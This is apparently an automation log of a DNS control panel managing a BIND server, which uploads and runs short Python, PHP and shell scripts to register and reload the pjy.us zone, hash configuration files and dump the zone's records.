MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 811d821aa27415e28a1d8f5478c07514
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-03-31 11:36:29: 

PUT: /tmp/pkp470276

#!/usr/bin/python3
import os, grp, subprocess, time
from pwd import getpwnam

#target cache files
HASH = '4e946d31d5dbbaea14c1f8a8cc65c592'
ZONE_NAME = 'pjy.us'
TARGET_FILES = '/var/cache/bind'
LOCAL_FILE = '/etc/bind/named.conf.local'

uid = getpwnam('bind').pw_uid
gid = grp.getgrnam('bind')[2]
try:
	os.chown(TARGET_FILES + '/' + HASH + '.conf', uid, gid)
	os.chown(TARGET_FILES + '/' + HASH + '.txt', uid, gid)
except Exception as ex:
	pass

PAYLOAD = 'include "' + HASH + '.conf"; # ' + ZONE_NAME
#text to insert into local
hash_present = False
with open(LOCAL_FILE) as fp:  
	line = fp.readline()
	while line:
		if HASH in line:
			hash_present = True
			break
		line = fp.readline()

fp.close()

if not hash_present:
	fp = open(LOCAL_FILE, 'a')
	fp.write(PAYLOAD + "\n")
	fp.close()
	# call = old python, 'run' python 3.5+
	subprocess.call(['rndc', 'reconfig'])
else:
	subprocess.call(['rndc', 'freeze', ZONE_NAME ])
	subprocess.call(['rndc', 'reload', ZONE_NAME ])
	subprocess.call(['rndc', 'thaw', ZONE_NAME ])
	time.sleep(3)


2026-03-31 11:36:29: 

chmod 755 /tmp/pkp470276; /tmp/pkp470276; rm /tmp/pkp470276

2026-03-31 11:36:32: 


rndc: 'freeze' failed: not dynamic
zone reload queued




STDERR:
rndc: 'freeze' failed: not dynamic


2026-03-31 11:36:32: 

PUT: /tmp/pkp854920

#!/bin/bash
rndc reload pjy.us 2>&1


2026-03-31 11:36:32: 

chmod 755 /tmp/pkp854920; /tmp/pkp854920; rm /tmp/pkp854920

2026-03-31 11:36:32: 


zone reload up-to-date


2026-03-31 11:36:33: Establishing a connection
2026-03-31 11:36:33: 

PUT: /tmp/pkp264695

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-03-31 11:36:33: 

runuser -l bind -s /bin/bash -c '/tmp/pkp264695; rm /tmp/pkp264695'

2026-03-31 11:36:33: 
2026-03-31 11:36:33: 

PUT: /tmp/pkp809605

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-03-31 11:36:33: 

chmod 755 /tmp/pkp809605; /tmp/pkp809605; rm /tmp/pkp809605

2026-03-31 11:36:33: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt	2094
; this is an automatically created file: manual changes will be overwritten.
$TTL    3600
pjy.us.                  		 IN    SOA      	pjy.us. hostmaster.pjy.us. ( 134991397 14400 3600 14400 3600 )
pjy.us.                  		 IN    NS       	ns1.hostz.org.
pjy.us.                  		 IN    NS       	ns2.hostz.org.
pjy.us.                   60	 IN    A        	94.177.8.99
@                        		 IN    MX       	10 mail.emessage.email.
@                        		 IN    TXT      	"google-site-verification=ZtHGz_iSYmEil9sMSPUDIl9d6IDFBLjzeNlYE2SfdQM"
_acme-challenge           60	 IN    TXT      	"MYZhN4zxqGn4U1GOxIFv8doVTsa7o1OxWR4Cwp6dovM"
_acme-challenge           60	 IN    TXT      	"h_63sRi7wLv3VpyJT5ADDvMkuAXXgEHcxDFo_37yAhs"
mail._domainkey           300	 IN    TXT      	"v=DKIM1; k=rsa; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA475QNvlpQCiGASeKJCw/3JWK/doJrCzE7FwPZQ+5uzZtbYa/xHmrd5HZKPgy9ohyeqvdcjYTMCtb+J9Hj+lG90gaO/OiIgMpkck6UvFEXoXQQzPTChI1Jm1JaDmbq9u3Qxatb9Wr/Zd88ytfn6tdNATtyvzZcQw2HFHooDxWlsRW+wXi3j5UL0yL4CeL" "CzmSUiO74QQUPqqjljsKvRvbZmsGhHm/NW5RYG/L2yYjWMlhnEAgaE+v4oMDQHnb06Lf2fuoGJ2C2EJtoY1ZaqhvjA2+4kT7BXO3NItVFe+EyKpPhYBcqtuCsYUDH6eScwOHBp0rjTggUg9IUFLEGFoLPwIDAQAB"
alive                    		 IN    CNAME    	home.stoughton.link.
_acme-challenge.city      60	 IN    TXT      	"UeRMkqu8_l2gRItyFHba1VXxbuTR3icuWFS2-fYdY3g"
desktop                  		 IN    A        	192.168.1.174
_acme-challenge.desktop   60	 IN    TXT      	"l9WeTDaGjg8OuobZhMGe8q_0Jb8jwvfMlSNambIH7bM"
eggshell                 		 IN    A        	94.177.8.99
y4it37yvzcuq.eggshell     60	 IN    CNAME    	gv-4p2uru6b7qnnw2.dv.googlehosted.com.
files                    		 IN    A        	74.208.130.81
home                     		 IN    CNAME    	home.stoughton.link.
_acme-challenge.home      60	 IN    TXT      	"bRrZQ9sTYYin--ZqX6Nzib8yi276mLv4bQdTqFNny2I"
hub                       300	 IN    A        	94.177.8.99
mysql                    		 IN    CNAME    	home.stoughton.link.
pkp                      		 IN    A        	94.177.8.99
www.pjy.us.               60	 IN    CNAME    	@






MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
